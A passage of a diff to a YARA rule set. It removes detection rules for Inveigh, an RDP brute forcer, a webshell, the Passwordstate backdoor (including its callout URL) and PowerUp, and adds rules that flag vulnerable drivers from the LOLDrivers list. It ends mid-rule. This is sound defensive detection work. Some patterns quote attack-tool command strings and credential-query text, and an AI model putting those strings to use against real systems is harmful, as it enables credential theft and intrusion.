-		id = "c5dab029-6515-5d58-9ccd-bf438ba692d5"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L109-L124"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0a6b1b29496d4514f6485e78680ec4cd0296ef4d21862d8bf363900a4f8e3fd2"
-		logic_hash = "5048a180df301707622e9ad0b949da9e39d2f55f16fc43e7344a8181596a836c"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "cf60dd6e-f13e-5498-b3e1-b28c4b469f10"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6895-L6911"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "76614f2e372f33100a8d92bf372cdbc1e183930ca747eed0b0cf2501293b990a"
+		logic_hash = "8428303996166eb968534f192a1e15cc374ed412b8915b41a323fcf6d8bd238c"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$ = "Inveigh.ps1" ascii
-		$ = "Invoke-Inveigh" ascii
-		$ = "-LLMNR N -HTTP N -FileOutput Y" ascii
-		$ = "powershell.exe" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003200320039 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Lnk_Detect : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_8B92 : FILE
 {
 	meta:
-		description = "Detects malicious LNK file from NCSC report"
-		author = "NCSC"
-		id = "76d382f3-b2f2-5ede-94b2-5ae8b766c194"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L126-L149"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ae8796877d70f8ddd56bac8ed474231f26d9bc8e73625e65d5d927ab804996b3"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		id = "158dd78f-3665-59d6-8528-f4489791d55e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6914-L6933"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8b92cdb91a2e2fab3881d54f5862e723826b759749f837a11c9e9d85d52095a2"
+		logic_hash = "565bd93231c1cffbb52efc9fedae7c41593ba93a2540dadf199806793359f67d"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$lnk_magic = {4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46}
-		$lnk_target = {41 00 55 00 54 00 4F 00 45 00 58 00 45 00 43 00 2E 00 42 00 41 00 54}
-		$s1 = {5C 00 5C 00 31 00}
-		$s2 = {5C 00 5C 00 32 00}
-		$s3 = {5C 00 5C 00 33 00}
-		$s4 = {5C 00 5C 00 34 00}
-		$s5 = {5C 00 5C 00 35 00}
-		$s6 = {5C 00 5C 00 36 00}
-		$s7 = {5C 00 5C 00 37 00}
-		$s8 = {5C 00 5C 00 38 00}
-		$s9 = {5C 00 5C 00 39 00}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
 
 	condition:
-		uint32be(0)==0x4c000000 and uint32be(4)==0x01140200 and (($lnk_magic at 0) and $lnk_target) and 1 of ($s*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_RDP_Brute_Strings
+rule LOLDRIVERS_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_881B : FILE
 {
 	meta:
-		description = "Detects RDP brute forcer from NCSC report"
-		author = "NCSC"
-		id = "d6f0cdbc-a910-5826-b25a-61c2924f8e2a"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L151-L174"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8234bf8a1b53efd2a452780a69666d1aedcec9eb1bb714769283ccc2c2bdcc65"
-		logic_hash = "80c51d82a57271409d298b5175505c4234a6c3ec8a8763c93b669d1f0a8d59ba"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA.sys"
+		author = "Florian Roth"
+		id = "926f0aef-ede3-554e-874d-7b617efbf2bd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6936-L6955"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "881bca6dc2dafe1ae18aeb59216af939a3ac37248c13ed42ad0e1048a3855461"
+		logic_hash = "0d1427a94c21e7055a8d3d1e23e0ee3c513030530c15778eed40283979dba6f9"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$ = "RDP Brute" ascii wide
-		$ = "RdpChecker" ascii
-		$ = "RdpBrute" ascii
-		$ = "Brute_Count_Password" ascii
-		$ = "BruteIPList" ascii
-		$ = "Chilkat_Socket_Key" ascii
-		$ = "Brute_Sync_Stat" ascii
-		$ = "(Error! Hyperlink reference not valid.)" wide
-		$ = "BadRDP" wide
-		$ = "GoodRDP" wide
-		$ = "@echo off{0}:loop{0}del {1}{0}if exist {1} goto loop{0}del {2}{0}del \"{2}\"" wide
-		$ = "Coded by z668" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0033002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0033002e0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300035002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_Z_Webshell_1
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5192 : FILE
 {
 	meta:
-		description = "Detects Z Webshell from NCSC report"
-		author = "NCSC"
-		id = "f4b50760-bd3a-5e1f-bf32-50f16a42c381"
-		date = "2018-04-06"
-		modified = "2023-12-05"
-		old_rule_name = "Z_WebShell"
-		reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ncsc_report_04_2018.yar#L176-L192"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ace12552f3a980f1eed4cadb02afe1bfb851cafc8e58fb130e1329719a07dbf0"
-		logic_hash = "1dfc546a7493c1443527ebe74ed8cd2b06ee032b9a3f736b830e16288e616d43"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "63cc2959-9cfa-575d-894f-fbb63349a4e7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6958-L6977"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5192ec4501d0fe0b1c8f7bf9b778f7524a7a70a26bbbb66e5dab8480f6fdbb8b"
+		logic_hash = "39194a4e7085e17fef079075949360155d6ce279e3bc1a92f1b3a12b70e7f15c"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$ = "Z_PostBackJS" ascii wide
-		$ = "z_file_download" ascii wide
-		$ = "z_WebShell" ascii wide
-		$ = "1367948c7859d6533226042549228228" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		3 of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Passwordstate_Moserware_Backdoor_Apr21_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Radiantsystemsinc_Radhwmgrsys_Radiantsystemsinchardwaremanagerdriver_0F30 : FILE
 {
 	meta:
-		description = "Detects backdoor used in Passwordstate incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "061de3ae-c404-5e4a-a16b-b3b208b1ae7f"
-		date = "2021-04-25"
-		modified = "2023-12-05"
-		reference = "https://thehackernews.com/2021/04/passwordstate-password-manager-update.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_passwordstate_backdoor.yar#L1-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "46bf5b7f4f75997535742021d1d5c2129daae0b3836c08383058e5e5b8e27d93"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RadHwMgr.sys"
+		author = "Florian Roth"
+		id = "17bc5473-e539-503d-8805-957c4384a0d7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L6980-L7000"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0f30ecd4faec147a2335a4fc031c8a1ac9310c35339ebeb651eb1429421951a0"
+		hash = "903d6d71da64566b1d9c32d4fb1a1491e9f91006ad2281bb91d4f1ee9567ef7b"
+		logic_hash = "09782a4b713c385896e9793c7fe4771ad00b8736e44c2639f94239751cf17222"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "c2169ab4a39220d21709964d57e2eafe4b68c115061cbb64507cfbbddbe635c6"
-		hash2 = "f23f9c2aaf94147b2c5d4b39b56514cd67102d3293bdef85101e2c05ee1c3bf9"
 
 	strings:
-		$x1 = "https://passwordstate-18ed2.kxcdn.com" wide
-		$s1 = " ProxyUserName, ProxyPassword FROM [SystemSettings]" wide fullword
-		$s2 = "PasswordstateService.Passwordstate.Crypto" wide
-		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari" wide fullword
-		$op1 = { 00 4c 00 4e 00 43 00 4c 00 49 00 31 00 31 00 3b 00 00 17 }
-		$op2 = { 4c 00 49 00 31 00 31 00 3b 00 00 17 50 00 72 00 }
-		$op3 = { 61 00 74 00 65 00 2d 00 31 00 38 00 65 00 64 00 32 00 2e 00 6b 00 78 00 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061006400690061006e00740020004800610072006400770061007200650020004d0061006e006100670065007200200066006f007200200050003100350078007800200050006c006100740066006f0072006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061006400690061006e0074002000530079007300740065006d0073002c00200049006e0063002e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00320030002e0030002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e0030002e0037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00520061006400690061006e0074002000530079007300740065006d0073002c00200049006e0063002e00200020004800610072006400770061007200650020004d0061006e00610067006500720020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0032003000300032002d0032003000300039002000520061006400690061006e0074002000530079007300740065006d0073002c00200049006e0063002e0020 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*) or 3 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Crime_Win_Rat_Alienspy : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Insydesoftware_Insydeflash_Insydeflashutilitybitdriver_CE0A : FILE
 {
 	meta:
-		description = "Alien Spy Remote Access Trojan"
-		author = "General Dynamics Fidelis Cybersecurity Solutions - Threat Research Team"
-		id = "a79789cd-9b16-58f5-ab51-48bb900583d1"
-		date = "2015-04-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_alienspy_rat.yar#L2-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2b6fec104a89badb057619f648119dcf6debd294ee2b80a1fde6ffa30a7a45f7"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iscflashx64.sys"
+		author = "Florian Roth"
+		id = "76578c75-a19c-54b1-b956-c26b8fe6e4ad"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7003-L7022"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ce0a4430d090ba2f1b46abeaae0cb5fd176ac39a236888fa363bf6f9fd6036d9"
+		logic_hash = "ba20c0a151a7e6ef4c2e70426cf4132d9c30f40b6a91e4402e20d15201b6c56e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		reference_1 = "www.fidelissecurity.com/sites/default/files/FTA_1015_Alienspy_FINAL.pdf"
-		reference_2 = "www.fidelissecurity.com/sites/default/files/AlienSpy-Configs2_1_2.csv"
-		filetype = "Java"
-		hash_1 = "075fa0567d3415fbab3514b8aa64cfcb"
-		hash_2 = "818afea3040a887f191ee9d0579ac6ed"
-		hash_3 = "973de705f2f01e82c00db92eaa27912c"
-		hash_4 = "7f838907f9cc8305544bd0ad4cfd278e"
-		hash_5 = "071e12454731161d47a12a8c4b3adfea"
-		hash_6 = "a7d50760d49faff3656903c1130fd20b"
-		hash_7 = "f399afb901fcdf436a1b2a135da3ee39"
-		hash_8 = "3698a3630f80a632c0c7c12e929184fb"
-		hash_9 = "fdb674cadfa038ff9d931e376f89f1b6"
 
 	strings:
-		$sa_1 = "META-INF/MANIFEST.MF"
-		$sa_2 = "Main.classPK"
-		$sa_3 = "plugins/Server.classPK"
-		$sa_4 = "IDPK"
-		$sb_1 = "config.iniPK"
-		$sb_2 = "password.iniPK"
-		$sb_3 = "plugins/Server.classPK"
-		$sb_4 = "LoadStub.classPK"
-		$sb_5 = "LoadStubDecrypted.classPK"
-		$sb_7 = "LoadPassword.classPK"
-		$sb_8 = "DecryptStub.classPK"
-		$sb_9 = "ClassLoaders.classPK"
-		$sc_1 = "config.xml"
-		$sc_2 = "options"
-		$sc_3 = "plugins"
-		$sc_5 = "util/OSHelper"
-		$sc_6 = "Start.class"
-		$sc_7 = "AlienSpy"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0069007300630066006c006100730068007800360034002e007300790073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002c00200032002c00200031002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002c00200032002c00200031002c00200031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049006e00730079006400650046006c006100730068 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e007300790064006500200046006c0061007300680020005500740069006c00690074007900200036003400200062006900740020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069007300630066006c006100730068007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003500200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x4B50 and filesize <800KB and (( all of ($sa_*)) or ( all of ($sb_*)) or ( all of ($sc_*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Powerup : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_80A5 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file PowerUp.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ff3eeec3-602d-5824-8a50-aed2081f49bc"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L10-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "64562c623de89df59d15db48990c25886c67b79ac9341cf8f21ef372057ccd85"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "80e3827b-44e7-5b59-a7db-c7daf0e38664"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7025-L7044"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "80a59ca71fc20961ccafc0686051e86ae4afbbd4578cb26ad4570b9207651085"
+		logic_hash = "f736ac96f1efde446400aaa49fba7cc84a0a10b3425561f67811da86dbee14a8"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
 
 	strings:
-		$s1 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list vdir /text:vdir.name\" | % { " fullword ascii
-		$s2 = "iex \"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe list apppools /text:name\" | % { " fullword ascii
-		$s3 = "if ($Env:PROCESSOR_ARCHITECTURE -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBNAEQANgA0AA==')))) {" fullword ascii
-		$s4 = "C:\\Windows\\System32\\InetSRV\\appcmd.exe list vdir /text:physicalpath | " fullword ascii
-		$s5 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\inetsrv\\appcmd.exe\"))" fullword ascii
-		$s6 = "if (Test-Path  (\"$Env:SystemRoot\\System32\\InetSRV\\appcmd.exe\")) {" fullword ascii
-		$s7 = "Write-Verbose \"Executing command '$Cmd'\"" fullword ascii
-		$s8 = "Write-Warning \"[!] Target service" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000390031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <4000KB and 1 of them ) or (3 of them )
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Inveigh_Bruteforce : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Microfocus_Microfocusxtier_5351 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file Inveigh-BruteForce.ps1"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cdc298d3-f9ac-5472-bdc9-0dc51ad91e4a"
-		date = "2016-09-04"
-		modified = "2023-12-05"
-		reference = "https://github.com/vysec/ps1-toolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_toolkit.yar#L33-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b23b6ad66e054e435415464262004ead6e7ee121185d76c02110506293b3867b"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		id = "e2d580c9-79e6-53f1-ab4a-77e2715b6f91"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7047-L7065"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5351c81b4ec5a0d79c39d24bac7600d10eac30c13546fde43d23636b3f421e7c"
+		logic_hash = "efbf3fd36c3ca5c2b95796cdaefb175ad1957866649e73366a1d6810cbcb5e81"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
 
 	strings:
-		$s1 = "Import-Module .\\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 " fullword ascii
-		$s2 = "$(Get-Date -format 's') - Attempting to stop HTTP listener\")|Out-Null" fullword ascii
-		$s3 = "Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200053006500630075007200690074007900200043006f006e00740065007800740020004d0061006e0061006700650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		( uint16(0)==0xbbef and filesize <300KB and 1 of them ) or (2 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ps1_Toolkit_Invoke_Shellcode : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7882 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file Invoke-Shellcode.ps1"
-		author = "Florian Roth (Nextron Systems)"
